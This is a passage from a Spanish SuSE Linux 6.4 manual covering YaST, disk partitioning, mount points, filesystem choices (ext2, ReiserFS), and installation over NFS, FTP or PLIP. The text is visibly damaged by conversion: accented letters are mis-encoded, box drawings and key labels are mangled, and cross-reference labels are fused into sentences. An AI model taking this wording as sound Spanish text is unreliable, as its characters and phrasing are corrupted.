cer: Este es entonces el correspondiente punto de montaje (ingl. + Mount-
point). TambiΘn es posible colocar particiones de DOS o HPFS en el ßrbol
de Linux.
o El espacio de almacenamiento en un sistema de ficheros Linux se ges-
tiona mediante los + Inodes. El inode apunta a los datos que estßn al-
macenados en los ficheros. Se determina la cantidad de inodes a la hora
de establecer un sistema de ficheros. Cuando la idea es almacenar mu-
chos ficheros peque±os, se necesitan muchos inodes (los que naturalmente
necesitan mßs espacio por sφ mismos). Por el contrario, teniendo muchos
ficheros grandes no hacen falta tantos inodes. Sobre este tema hay mßs
detalles en el apartado 3.4.1 en la pßgina 93Men· de experto para ajustes
finossubsection.3.4.1.
Paso por paso. . .
Dentro de la mßscara de entrada se encuentra `Definici≤n de sistemas
de fichero' (ver figura 3.10 en la pßgina 92Establecer partici≤n/sistema de
ficheros destinosubsection.3.4.1). Para definir los sistemas de fichero de las
nuevas particiones, se procede de la siguiente manera:
1. Informaci≤n preliminar sobre quΘ hacer:
o Para los sistemas de ficheros DOS y HPFS (dentro de sus respectivas
particiones) se puede fijar aquφ un punto de montaje (ingl. + Mount-
point).
o Para cada una de las nuevas particiones Linux:
~ Se debe fijar un punto de montaje
~ Se puede usar `F5=Modo Experto' para realizar ajustes finos.
~ Se puede con `F6=Formatear' modificar la manera propuesta de
formateado(con o sin verificaci≤n).
o Para la primera instalaci≤n no se necesita la funci≤n `leer Fstab'.
2. Con |F___|_3se puede seleccionar entre los dos distintos sistemas de ficheros;
actualmente se puede seleccionar entre el probado ext2 y el nuevo
reiserfs que ofrece prestaciones mßs avanzadas.
________________________________________________________________________________________________________*
*________||
| No se puede usar el ReiserFS en conjunto con un Software-RAID 1 o *
* ||||
| RAID 5. En cuanto al Hardware-RAID no existe ninguna restricci≤n. ~ *
* |||
| *
* |||
| reiserfs es a·n muy joven en comparaci≤n con ext2 ; hay que considerar *
* |||
| esto a la hora de decidirse para ello. Para mßs informaci≤n consulte en la *
* |||
| *
* |||
| pßgina 92Definir tiposubsection.3.4.1. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
3. Para acceder con Linux a una_partici≤n_del tipo DOS o HPFS, hay que
seleccionarla y pulsar | ___F|4. Aparece un cuadro de dißlogo que pide el
nombre de un directorio. Bajo el nombre de este directorio se encon-
trarß despuΘs el sistema de ficheros DOS/HPFS. Escriba aquφ por ejemplo_
dosc; recuerde colocar la barra (`/') al comienzo. Confirme con |_____-|.
80
_________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro__________________*
*_____________________
Figura 2.19: YaST ~ Montar particiones DOS/Windows
En el caso de una partici≤n de DOS, aparecerß un cuadro de dißlogo
adicional (figura 2.19) en el que se selecciona el modo en que Linux
debe acceder al sistema de ficheros DOS (ver tambiΘn apartado 3.4.1 en
la pßgina 93Mountpoint ~ Punto de anclajesubsection.3.4.1). Lo normal
es que el uso de la partici≤n DOS desde Linux vaya a ser esporßdico,
p. ej. para el intercambio de ficheros, asφ que se puede seleccionar aquφ
`DOS' o `FAT-Win95' (= vfat ). Las propiedades de los ficheros son
como las de UNIX y los nombres de fichero largos como los ofrece el
sistema de ficheros + UMSDOS, los cuales solamente se necesitan si se
quiere instalar SuSE Linux en una partici≤n DOS. íEs mejor evitar esto
lo mßs que se pueda!
4. Ahora se deben introducir los puntos de montaje (ingl. + Mountpoints) de
las particiones_Linux. Seleccione estas particiones una despuΘs de la otra
y pulse |F___|4. Aparece la ventana en la que debe introducir el directorio,
bajo el cual aparece el sistema de ficheros de esta partici≤n dentro del
sistema de ficheros total. Siempre se introduce el ''path'' con la barra
(`/') al comienzo.
Por supuesto, dependerß de los planes de particionar, cußles directorios se
indicarßn como puntos de montaje. En todo caso se necesita un directorio
`/' (ingl. root directory) que forma la raφz y el tronco del sistema de
ficheros completo; en castellano se denomina ''directorio raφz''. Como ya
se ha mencionado, los demßs sistemas de fichero y sus correspondientes
puntos de montaje son cuesti≤n de gusto; pero cuidado:
_______________________________________________________________________________________________________________________||
|||||||| Los directorios que se necesitan en el arranque de la mßquina, tienen que ||| |
|||||||| estar colocados directamente en el sistema de ficheros `/', porque en el || |
|||||||| || |
|||||||| momento de arrancar las distintas ramas del sistema de ficheros total a·n || |
|||||||| no estßn unidos al tronco (a·n no estßn ''montados''). Asφ pues, no se deben || |
|||||||| || |
|||||||| indicar aquφ los directorios /bin, /dev, /lib, /etc y /sbin || |
||||||||_______________________________________________________________________________________________________________||_
5. Lo mejor es ignorar el men· `Expertos', si apenas estß comenzando con
*
* 81
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Linux; normalmente los valores de selecci≤n automßtica son adecuados
y aseguran un funcionamiento seguro. No modifique estos valore sin
conocer bien las consecuencias (ver en la pßgina 93Men· de experto para
ajustes finossubsection.3.4.1).
6. Determinar si se deben formatear o no las particiones de Linux y
en caso positivo c≤mo deben ser formateadas. Las particiones que
fueron generadas bajo el apartado 2.10.1 en la pßgina 77Establecer
particionessubsection.2.10.1, deben ser formateadas en todo caso. Si
tiene un disco duro moderno es suficiente usar `Formateo normal'.
Con un disco un tanto anticuado es mejor usar `Formateo con veri-
ficaci≤n'.
Figura 2.20: YaST ~ Puntos de montaje
Seleccionar sucesivamente las particiones Linux, pulsar |____|F6y escoger
despuΘs el tipo de formateo adecuado; al final de este paso, el men·
debe aparecer como lo muestra la figura 2.20 (generalmente no se tendrß
ning·n directorio NFS apuntado)
7. Seleccionar `Continuar' y confirmar la pregunta de seguridad. Ahora
YaST formatea las particiones.
82
Capφtulo 3
YaST ~ Yet another Setup Tool
YaST (yast ) es una parte esencial de SuSE Linux. Ayuda a instalar el sis-
tema, administrar el software (Instalaci≤n y desinstalaci≤n) y da soporte en
las tareas de administraci≤n de sistema.
Este capφtulo describe las funciones mßs importantes de YaST para facilitar
al mßximo la instalaci≤n.
_______________________________________________________________________________________________________________________||
|||||||| SuSE Linux 6.4 contiene una versi≤n de YaST mejorada, de manera que ||| |
|||||||| las imßgenes de pantallas (''Screenshots'') en el libro ya no concuerdan al || |
|||||||| || |
|||||||| cien por cien con las anteriores. || |
||||||||_______________________________________________________________________________________________________________||_
3.1 Uso y distribuci≤n de teclado
Primero se arranca YaST en el + Prompt con la orden yast :
tierra: # yast
YaST se maneja por lo general_con las teclas del cursor (las flechas) y con
la tecla del tabulador (|T____a|b).__Es_posible_moverse_dentro_de las listas con las
teclas del cursor tal como con |R_________e|yPßg|________A|v._PßgCon la_tecla_de espacio se
seleccionan las opciones en una lista y normalmente |E_______n|tero |_____-|confirman_
la selecci≤n. Por lo general se sale de los men·s_ pulsando | ____E|scpero si se
desea mantener los ajustes hechos se debe salir con |F____1|0.
En caso de afirmaci≤n o negaci≤n (SI o NO) o cuando hace falta introducir
texto (p._ej._ el nombre de un directorio), se puede saltar entre los campos
usando |T____a|b. La selecci≤n activa siempre se muestra en azul.
En casos raros, p. ej. cuando se arranca YaST remotamente desde un terminal
''no-Linux'', no se pueden usar las teclas que se mencionan a continuaci≤n,
ya que los c≤digos de_las_teclas_son_mal interpretados. En tal caso,_se_pueden_ _ _____________
simular las teclas_|F_______________<|n·mero>con la combinaci≤n_|C__________o|ntrol+|f__||_____________<n|·mero>._
Para simular |F____1|0se_debe_pulsar la combinaci≤n |C__________o|ntrol+|f_ ||_0|. Las teclas
de funci≤n |F____1|1y |F____1|2no se usan en YaST .
3.2 El men· principal de YaST
Al ejecutar YaST aparece el ''Men· principal'' (figura 3.1 en la pßgina sigu-
iente).
`Ayuda general para la instalaci≤n' Informaci≤n diversa.
*
* 83
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.1: El ''Men· principal''
`Ajustes de la instalaci≤n ->' Este punto se bifurca en un sub-
men· (ver apartado 3.3).
`Escoger/Instalar paquetes' Desde aquφ se llega al listado de soft-
ware, para instalar paquetes en el sistema o bien para eliminarlos (ver
apartado 3.5 en la pßgina 96Escoger / Instalar paquetessection.3.5).
`Actualizar sistema' Para renovar paquetes entrar aquφ.
`Administraci≤n del sistema ->' Con esta opci≤n se abre el men·
para la administraci≤n del sistema (ver apartado 3.7 en la pßgina 102Ad-
ministraci≤n del sistemasection.3.7).
`Mostrar LEAME del medio de instalaci≤n' Informaci≤n adicional
importante.
`Copyright' Esta es la secci≤n de los abogados.
`Salir de YaST' ~ Nada dura para siempre.
3.3 Ajustes de la instalaci≤n
Todos los ajustes relevantes para la instalaci≤n se efect·an en el sub-men·
`Ajustes de la instalaci≤n' (figura 3.2 en la pßgina siguiente). Con
|E_____|scse puede salir de los men·s.
íNo se puede efectuar la verdadera instalaci≤n antes de haber definido la
partici≤n destino! Existen algunas configuraciones que se pueden seleccionar
despuΘs de la instalaci≤n para actualizarlas.
3.3.1 Definir el idioma
Con `Elegir el idioma' se puede modificar el idioma de las plantillas de
YaST ; el valor se guarda en la variable LANGUAGE en el fichero /etc/rc.
config (ver en la pßgina 437Configuraciones bßsicasHfootnote.76).
84
_______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
*______________________
Figura 3.2: Men· `Ajustes de la instalaci≤n'
3.3.2 Distribuci≤n de teclado
Con la opci≤n `Elegir teclado' se puede modificar la distribuci≤n de
teclado, cuyo valor se almacena en la variable <KEYTABLE> dentro del
fichero /etc/rc.config (ver apartado 17.6 en la pßgina 438Inicializar hard-
ware local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76).
3.3.3 El medio de instalaci≤n
El cuadro de dißlogo en la figura 3.3 ofrece la posibilidad de elegir el medio
desde el cual se quiere instalar todo el software, accediendo a Θl mediante la
opci≤n `Elegir el medio de instalaci≤n'.
Figura 3.3: Eligiendo la fuente de instalaci≤n en YaST
*
* 85
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Por lo general se elige aquφ la opci≤n `Instalaci≤n desde CD-ROM' ya
que lo mßs frecuente es hacer la instalaci≤n directamente desde el CD-ROM
de la computadora.
Incluso cuando Linux no soporta directamente su lector CD-ROM tambiΘn es
posible instalarlo optando por la opci≤n `Instalaci≤n desde una par-
tici≤n' del disco duro (ver tambiΘn apartado 3.3.5). Si el contenido del los
CDs se encuentra en alg·n directorio del ßrbol de directorios, se puede usar
la opci≤n `Instalaci≤n desde directorio'.
Con las opciones `Instalaci≤n desde NFS' e `Instalaci≤n desde
un servidor FTP' es posible instalar Linux en una computadora que si
bien no tiene su propio lector CD-ROM sφ tiene conexi≤n de + Ethernet a
una computadora con lector de CD-ROM. Para realizar esto se puede con-
sultar el apartado 3.3.6 o el apartado 3.3.8 en la pßgina 88Instalaci≤n vφa
FTPsubsection.3.3.8.
3.3.4 Instalaci≤n desde CD-ROM
Figura 3.4: Elecci≤n del lector CD-ROM
Cuando se instala Linux directamente desde el CD-ROM se especifica aquφ el
tipo de lector que se tiene. Si no hay seguridad sobre esto, se puede comenzar
probando lectores tipo `ATAPI EIDE'.
3.3.5 Instalaci≤n desde una partici≤n del disco duro
En el caso que Linux no soporte directamente el lector CD-ROM, tambiΘn se
puede instalar el sistema en la computadora haciendo un desvφo a travΘs de
otro medio de instalaci≤n.
3.3.6 Instalaci≤n vφa NFS
Con la instalaci≤n vφa NFS el usuario avanzado tiene la posibilidad de instalar
de manera simple y confortable varias computadoras, aunque solo una de
86
_______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
*______________________
ellas estΘ equipada con un lector CD-ROM o con un disco duro que albergue
la informaci≤n del CDROM. Para efectuar una instalaci≤n usando NFS se
deberφa estar acostumbrado a la configuraci≤n de este tipo de servidor.
Aprovechßndose de esta caracterφstica, tambiΘn se puede instalar un portßtil
que tenga una tarjeta red del tipo PCMCIA.
Figura 3.5: Introducci≤n de parßmetros de red para la instalaci≤n NFS
La instalaci≤n vφa NFS no solo es posible para computadoras que estßn conec-
tadas por Ethernet, sino que tambiΘn lo es para una computadora conectada a
un servidor a travΘs del puerto paralelo. Para portßtiles y notebooks esta car-
acterφstica tiene una importancia especial. Si se desea efectuar una instalaci≤n
asφ, es necesario evidentemente, elegir para el arranque de la computadora un
kernel que contenga el soporte PLIP. Aparte de Θste hay que hacer algunos
ajustes adicionales para que la interface PLIP funcione correctamente.
Si se conecta directamente con el servidor NFS, entonces la direcci≤n de la
contraparte es la misma que se debe introducir posteriormente como direcci≤n
del servidor NFS. La interface PLIP serß en la mayorφa de los casos plip1
al igual que los parßmetros del hardware, que no deberφan diferenciarse del
estßndar.
íSi se usa el puerto paralelo como interfase PLIP, Θste ya no se podrß usar
como puerto para una impresora! por lo tanto, al conectar la impresora a
este tipo de puerto, Θsta reacciona en la mayorφa de los casos con un ''Reset''
continuo cuando el driver PLIP se activa.
Entonces, en la siguiente pantalla, se debe introducir la direcci≤n IP del servi-
dor NFS tal como el directorio que contiene los ficheros de instalaci≤n. íNat-
uralmente, el servidor tiene que exportar este directorio a la computadora que
lo pide!
*
* 87
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.6: Configuraci≤n de una conexi≤n PLIP
3.3.7 Instalaci≤n desde una partici≤n
Esta opci≤n sirve sobre todo para seguir instalando software una vez que
el sistema Linux funciona. Ademßs representa una posibilidad para instalar
componentes desde alg·n dispositivo para el cual a·n no existφa soporte en
en forma de drivers en el momento de la producci≤n de los CDs.
Por lo tanto, para poder acceder ahora desde YaST a este dispositivo, primero_ ___
se arranca YaST . Hecho esto, se cambia a otra consola (p. ej. con |A____l|t+|F___|2
a la segunda consola virtual) y se efect·a allφ un login como `root'.
Desde esta consola se debe + montar (ingl. mount) a mano el lector CD-ROM
sobre un determinado directorio, introduciendo p. ej.
tierra: # mount -tiso9660 /dev/cdrom /cdrom
Ver tambiΘn el apartado 19.11.2 en la pßgina 485Montaje y desmontaje de
sistemas de ficherossubsection.19.11.2.
Ahora es posible instalar de manera completamente normal. Con este fin
se introduce en la siguiente pantalla (figura 3.7 en la pßgina siguiente) el
directorio que contiene los ficheros de instalaci≤n; este es el directorio sobre
el cual se ha montado el CD a±adiendo el path suse.
Si por ejemplo se ha montado el dispositivo (o la partici≤n de un disco duro)
sobre el directorio /cdrom, se introduce entonces tal como en la figura 3.7 en
la pßgina siguiente:
/cdrom/suse
3.3.8 Instalaci≤n vφa FTP
Como en el caso de NFS, se trata de una posibilidad adicional de instalar
SuSE Linux en una computadora que no tiene (soportado) ning·n lector CD-
ROM. El requisito es en efecto, haber hecho ya la configuraci≤n base de la
red.
88
_______________________________________________________________________________________3.3.__Ajustes_de_la_instalaci≤n______*
*______________________
Figura 3.7: Introducci≤n del directorio fuente
Figura 3.8: Indicaciones para la instalaci≤n vφa FTP
`Servidor FTP [Nombre|IP]' El nombre o la direcci≤n IP del servidor
FTP.
`Directorio del servidor' El lugar en el servidor en el que se encuen-
tra el directorio suse.
`[ ] ┐Usar Proxy?' Solo se marca cuando se estß seguro de necesitar un
FTP-Proxy; por lo general no se necesita ninguno. Por el contrario sφ que
se necesita un FTP-Proxy real; no se puede usar HTTP-Proxies!
`Proxy [Name|IP]' Se usa solamente cuando se ha marcado la opci≤n
anterior.
`[X] ┐Puerto FTP predeterminado?' Preferiblemente marque esta op-
ci≤n.
`Puerto [n·mero]' Generalmente debe estar en 21 .
*
* 89
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`[X] ┐FTP an≤nimo?' Se debe marcar siempre que se deba acceder a un
servidor FTP p·blico.
`Login' Si no ha marcado la opci≤n anterior, entonces se debe proporcionar
aquφ el nombre de usuario y, en la pr≤xima opci≤n,
`Password' la contrase±a.
`Timeout [segundos]' 60 es un buen valor.
`Directorio tmp local' El directorio local en el cual se deben almace-
nar los ficheros temporalmente.
Advertencia: YaST solo establece conexiones FTP pasivas
3.4 Particionar disco(s) duro(s)
El punto mßs crφtico durante la instalaci≤n de un nuevo sistema operativo es
el de particionar el disco duro. Por lo general cada sistema operativo necesita
una partici≤n propia.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| En el caso de Linux existe tambiΘn la posibilidad de instalar el sistema op- *
* |||
| erativo sobre un sistema de ficheros MS-DOS. Se aconseja tomar esta posi- *
* |||
| *
* |||
| bilidad solo cuando se trata de probar un poco el nuevo sistema operativo, *
* |||
| ya que el rendimiento es mucho menor en comparaci≤n a una instalaci≤n *
* |||
| *
* |||
| sobre una partici≤n propia de Linux. Ademßs, el sistema no es tan seguro *
* |||
| porque no existen p. ej. programas de chequeo del sistema de ficheros para *
* |||
| *
* |||
| MS-DOS y DOS puede influenciar a Linux durante su operaci≤n. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Dßndole una partici≤n propia a Linux resulta muy ·til dividir el sistema en
varias particiones. Al final son el gusto y la propia filosofφa los que de-
ciden sobre la distribuci≤n de un sistema Unix, por lo tanto no existe un
·nico camino para todos los casos (ver apartado 2.8 en la pßgina 70Par-
ticionar para principiantessection.2.8 y apartado 2.9 en la pßgina 71Parti-
cionar para avanzadossection.2.9); el apartado 2.10.1 en la pßgina 77Estable-
cer particionessubsection.2.10.1 muestra un ejemplo detallado sobre parti-
cionar.
En todo caso, se debe generar una partici≤n de intercambio (ingl. swap)
para aumentar la memoria virtual (+ Memoria) de la computadora (ver
apartado 2.9.1 en la pßgina 72El tama±o de la partici≤n de intercambio
(swap)subsection.2.9.1) .
Por razones de rendimiento no se deberφa optar por la posibilidad de generar
un fichero de intercambio ya que todos los accesos a este fichero se realizarφan
a travΘs del sistema de ficheros. El fichero de intercambio no es ninguna alter-
nativa a una partici≤n de intercambio, especialmente cuando la computadora
no tiene mucha memoria.
Si la computadora tiene mßs de un disco duro, se pide seleccionar el que se
va a particionar en el siguiente paso. DespuΘs de esto se entra en un men·
que indica la divisi≤n actual del disco (imagen 3.9 en la pßgina siguiente).
Con las flechas |"__|y |#__|se puede repasar_la lista de_la_particiones disponibles
y modificar el tipo_de_la partici≤n con |F___3|. Con |F___4|se borra una partici≤n
existente y con |F___|5se puede generar una partici≤n nueva.
90
__________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
*______________________
Figura 3.9: Configurar particiones
La modificaci≤n de una partici≤n (con |F___|_3) es absolutamente obligatoria para
generar una partici≤n de intercambio (swap). TambiΘn es posible que no
haga falta particionar el disco, por ejemplo cuando se ha decidido usar a
partir de ahora una partici≤n para Linux que actualmente ocupa otro sistema
operativo. En este caso simplemente_ mueva la barra indicadora sobre la
partici≤n correspondiente y pulse |F___|3.
TΘngase en cuenta que no hay ning·n requisito especial por parte de Linux
sobre el tipo de partici≤n a usar:
Se puede instalar Linux sobre una partici≤n primaria al igual que sobre una
l≤gica dentro de una partici≤n extendida.
Las particiones l≤gicas se introdujeron debido a que en la tabla de particiones
solamente hay espacio para un total de cuatro entradas. Es necesario conver-
tir una partici≤n en una extendida cuando se necesitan mßs que estas cuatro
particiones, por lo tanto, dentro de la partici≤n extendida se generan las par-
ticiones l≤gicas.1
No es necesario arrancar la computadora (+ Boot) inmediatamente despuΘs
de haber particionado, sino que tiene la posibilidad de definir el contenido
de la instalaci≤n. De esta forma puede darse cuenta de la posible escasez de
espacio en una partici≤n y modificarla antes de ser generada realmente.
Es solo hasta el momento de salir de YaST cuando se realiza la partici≤n real
fφsica. íDespuΘs es absolutamente necesario reiniciar la computadora!
3.4.1 Establecer partici≤n/sistema de ficheros destino
DespuΘs de haber dividido el disco duro en particiones, se deben asignar a
Θstas los sub-directorios en el ßrbol de directorios de Linux. Para ello elija la
opci≤n `Establecer las particiones destino'.
1 ____________________________________________________
El programa fdisk de DOS denomina a las particiones extendidas y l≤gicas como partici≤n
DOS extendida y unidad l≤gica, respectivamente, aunque este concepto es independiente del
sistema operativo.
*
* 91
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.10: Establecer sistemas de fichero
El ejemplo (figura 3.10) muestra las particiones de un sistema con un disco
duro. Aquφ es posible definir para cada partici≤n si debe y c≤mo debe ser
formateada y tambiΘn en cußl punto del ßrbol de directorios debe montarse
posteriormente.
íHay que definir necesariamente una partici≤n como partici≤n de raφz (ingl.
root)! Esta se denomina partici≤n de raφz porque representa la raφz de todos
los directorios. Por lo tanto se le asigna el punto de anclaje (+ Mountpoint)
`/ ').
Usando las teclas de funci≤n se activan las distintas funciones para manipular
los sistemas de fichero y normalmente solo se pueden modificar particiones de
Linux. Cuando la barra de desplazamiento se encuentra sobre la partici≤n de
otro sistema operativo, todas las funciones se desactivan excepto la definici≤n
del punto de anclaje.
Definir tipo
Con |____|F3se puede seleccionar entre los dos distintos sistemas de ficheros ext2
y reiserfs .
`ext2' ~ El sistema de ficheros ext2 (ingl. second extended-2 filesystem)
se ha establecido hace muchos a±os como el sistema de ficheros estßndar.
`reiserfs' ~ ReiserFS Es un sistema de ficheros de ·ltima generaci≤n.
Aunque es a·n joven ya se usa en muchas partes (p. ej. en algunos de
nuestros servidores internos); es imprescindible consultar la informaci≤n
que se encuentra en /usr/doc/packages/reiserfs/README.
El grupo de desarrollo alrededor de Hans Reiser y Chris Mason
trabaja en estrecha colaboraci≤n con SuSE y ha conseguido hacer del
ReiserFS un ''Journaling Filesystem''. ''Journaling'' asegura un chequeo
muy rßpido (dentro de pocos segundos) del sistema de ficheros (ingl.
filesystem check), incluso para servidores grandes.
92
__________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| íNo se debe usar el ReiserFS en combinaci≤n con Software-RAID 1 o ||| |
||||||||| RAID 5. Estas restricciones no existen para un RAID por hardware. El || ||
|||||||| tama±o mφnimo de una partici≤n con ReiserFS es actualmente de 34 MB. ||| |
||||||||_______________________________________________________________________________________________________________||_
Para evitar problemas es aconsejable optar por la configuraci≤n estßndar
de SuSE Linux y generar una partici≤n /boot adicional con el sistema de
ficheros ext2 e instalar allφ LILO .
El paquete reiserfs, serie a contiene las utilidades para el ReiserFS.
Hay informaci≤n actualizada en:
http://devlinux.com/projects/reiserfs/
Mountpoint ~ Punto de anclaje
Pulsando la tecla |____|F4es posible definir d≤nde se debe montar la partici≤n
correspondiente en el ßrbol de directorios.
Es obligatorio asignar a una partici≤n el directorio raφz (/). Las particiones
DOS/Windows se pueden montar sobre algunos nombres de directorio como
p. ej. /dosc para la primera partici≤n DOS y /dosd para la segunda, etc.,
para poder encontrarlas posteriormente con facilidad.
_______________________________________________________________________________________________________________________||
|||||||| Se deben introducir todos los puntos de anclaje con el nombre de path ||| |
|||||||| absoluto. Los nombres no pueden contener caracteres especiales. || |
|||||||| || |
|||||||| Los directorios /etc, /bin, /sbin, /lib y /dev deben encontrarse en la || |
|||||||| misma partici≤n raφz, ya que contienen informaci≤n para montar los demßs || |
|||||||| || |
|||||||| sistemas de fichero y asφ poder arrancar el sistema || |
||||||||_______________________________________________________________________________________________________________||_
íExiste algo especial para las particiones DOS/Windows! Es posible integrar-
las de tres formas diferentes en el ßrbol de ficheros.
o Primero como una partici≤n DOS (= msdos ) con todas las restricciones del
sistema de ficheros DOS.
o Segundo como FAT-Win95 (= vfat ), lo que permite el uso de nombres
de fichero largos y
o Tercero como partici≤n UMSDOS , lo que permite el uso de nombres de
fichero largos en particiones DOS ''normales''. Solo para albergar ficheros
de Linux en una partici≤n DOS se precisa UMSDOS . No es ning·n mΘtodo
eficiente si la partici≤n DOS solo sirve para el intercambio de ficheros. Si
es posible, evite usarlo
A parte de esto existen en este caso todas las caracterφsticas de un sistema
de ficheros Linux como propietarios, derechos de acceso e incluso se
pueden generar ficheros especiales como p. ej. links sobre el sistema de
ficheros DOS.
Men· de experto para ajustes finos
El men· de experto (ver figura 3.11 en la pßgina siguiente) permite realizar
algunos ajustes finos.
La densidad de + Inode indica cußl es el tama±o promedio de ficheros que se
espera para una partici≤n. La cantidad de inodes determina cußntos ficheros
*
* 93
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Figura 3.11: Men· de experto para configurar los sistemas de fichero
se pueden almacenar en una partici≤n. Cuando esta cantidad es demasiado
peque±a, es posible que una partici≤n cuente como llena, aunque existan
todavφa bloques libres en la partici≤n.
Si por ejemplo se elige una densidad de 4096 Bytes por inode, significa
que todos los ficheros deben tener en promedio un tama±o de 4 KB. Si por
el contrario en este tipo de partici≤n se usan exclusivamente ficheros con
un tama±o de solo un Kilobyte, entonces la partici≤n ya cuenta como llena
cuando solamente se usa una cuarta parte del espacio disponible, por falta de
espacio en el sistema de ficheros.
Un valor aceptable para la densidad suele ser el de 4 KB por inode (mßs
inodes por partici≤n significa naturalmente menos espacio neto en la par-
tici≤n, porque tambiΘn hace falta grabar la tabla con los inodes). Usando
una partici≤n como ßrea spool p. ej. para Netnews, es mejor usar un valor de
2048 Bytes por inode, ya que los artφculos suelen ser ficheros muy peque±os.
Otra raz≤n para trabajar con una cantidad alta de inodes es la integraci≤n del
Live-System . En este caso se enlazan al sistema de ficheros alrededor de
40.000 ficheros usando enlaces (ingl. links) simb≤licos y cada uno necesita
un inode.
La definici≤n del Tama±o de bloque influye sobre la duraci≤n de un chequeo
del sistema de ficheros; de hecho la duraci≤n del chequeo sube cuadrßtica-
mente con el inverso del tama±o de bloque (o sea, con la mitad de tama±o de
bloque, resulta cuatro veces mßs largo el tiempo para el chequeo del sistema
de ficheros). Un valor razonable para el tama±o de bloque es 1024 (= 1 KB)
para particiones hasta 1 GB de tama±o y 4096 (= 4 KB) para particiones hasta
4 GB.
En este men· se pueden definir tambiΘn las condiciones que se deben cumplir
para que se efect·e un chequeo del sistema de ficheros; es posible considerar
la frecuencia con la que monta el sistema de ficheros.
El ßrea reservada para `root': El superusuario debe tener un ßrea reservada
si existen particiones usadas por utilidades del sistema y por parte de usuarios
94
__________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________*
*______________________
normales. No hace falta que la partici≤n de /home ofrezca espacio para
`root'.
TambiΘn es posible indicar el Comportamiento en caso de error. Cuando el
sistema de ficheros tiene un error es posible definir que todo contin·e tra-
bajando (continue ), que el sistema de ficheros se remonte en modo solo-
lectura (remount-ro ) o que el sistema se pare al instante (panic ). La opci≤n
mßs adecuada depende del uso de la computadora; en todo caso solo modi-
fique el valor por defecto continue si sabe bien lo que hace!
Formatear las particiones
Usando la tecla |____|F6se puede determinar c≤mo formatear las particiones. Si se
usan discos duros modernos, reciΘn salidos de la fßbrica, no hace falta activar
la comprobaci≤n de sectores da±ados durante el formateo, no obstante, por
razones de seguridad tambiΘn se puede activar esta opci≤n pero el proceso de
formatear durarß mucho mßs tiempo.
Leer el fichero fstab
Pulsando |F___|_7es posible leer un fichero fstab ya existente (ingl. file system
table). Se indican tambiΘn las entradas en fstab que no correspondan a
ning·n sistema de ficheros del disco duro (swap, proc, nfs-mount, lectores
CD-ROM, etc). Estas entradas se indican en gris ya que no pueden ser modi-
ficadas y por tanto se mantienen constantes grabando el fichero fstab.
La mencionada caracterφstica es necesaria cuando se desea actualizar el
sistema (ver apartado 15.1.3 en la pßgina 394Actualizaci≤n con YaST1
subsection.15.1.3), ya que en tal caso YaST necesita saber sobre cußles par-
ticiones se distribuye Θste. Justamente en el caso de tener varias versiones de
Linux instaladas en una misma computadora, se necesita saber cußl versi≤n
se actualiza y cußl no.
3.4.2 Configurar el Logical Volume Manager
Puede encontrar informaci≤n acerca de la configuraci≤n del ''Logical Volume
Manager'' (LVM) en el ''howto'' oficial de LVM que se encuentra en: http:
//linux.msede.com/lvm/.
3.4.3 Instalaci≤n dentro de un directorio
YaST permite instalar todo el sistema dentro de un directorio desde la com-
putadora en marcha. Esto permite p. ej. actualizar una computadora vφa NFS,
configurar un ''entorno chroot'' o instalar Linux desde una computadora en
marcha a un segundo disco duro.
Se trata de un modo de instalaci≤n reservado a casos especiales. Antes de in-
stalar con este mΘtodo hay que procurar tener montado el dispositivo deseado
sobre el directorio en cuesti≤n.
Es muy importante preocuparse por la capacidad de arranque del sistema
instalado efectuando los cambios necesarios. TambiΘn es muy probable que
se deba modificar el fichero fstab que YaST genera en la instalaci≤n nueva.
*
* 95
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Indique entonces en el cuadro de dißlogo, en cußl directorio quiere que se
instale el sistema.
3.5 Escoger / Instalar paquetes
DespuΘs de haber terminado la configuraci≤n de los sistemas de fichero, elija
en el men· principal `Escoger / Instalar paquetes' para escoger los
paquetes que se desea instalar y despuΘs arrancar la instalaci≤n. Existe la
posibilidad de generar, grabar y cargar perfiles de instalaci≤n propios.
Figura 3.12: Elecci≤n de paquetes a instalar
TambiΘn existe la posibilidad de arrancar la instalaci≤n misma desde este
men· o echar un vistazo para averiguar lo que pasarφa en caso de instalar la
configuraci≤n actualmente seleccionada.
3.5.1 Cargar configuraci≤n
Bajo la opci≤n `Cargar configuraci≤n' se encuentran un par de config-
uraciones preparadas por nosotros. Puede pasar por las_distintas_configura-__________
ciones (conjuntos de software) usando las flechas |"_ |y |#_ |; espacio | ____________ |
selecciona o deselecciona una opci≤n.
El sistema bßsico permite arrancar Linux desde el disco duro para la insta-
laci≤n posterior de paquetes adicionales.
Si ha generado perfiles de instalaci≤n propios, es posible activarlos aquφ. Se
trata de un procedimiento especialmente ·til para instalar varias computado-
ras con la misma configuraci≤n.
Al aplicar una configuraci≤n diferente sobre un sistema ya instalado, se deben
marcar para borrar todos los paquetes ya instalados que no correspondan a la
nueva configuraci≤n; si se desea mantenerlos, entonces se debe contestar No
a la pregunta de seguridad sobre si realmente los quiere borrar o no. Esta
pregunta aparece despuΘs de haber elegido `Empezar Instalaci≤n' en el
men· de elecci≤n de paquetes. De lo contrario se tendrφan que deseleccionar
uno a uno todos los paquetes marcados con `[D]' para que despuΘs aparez-
can marcados con `[i]'.
96
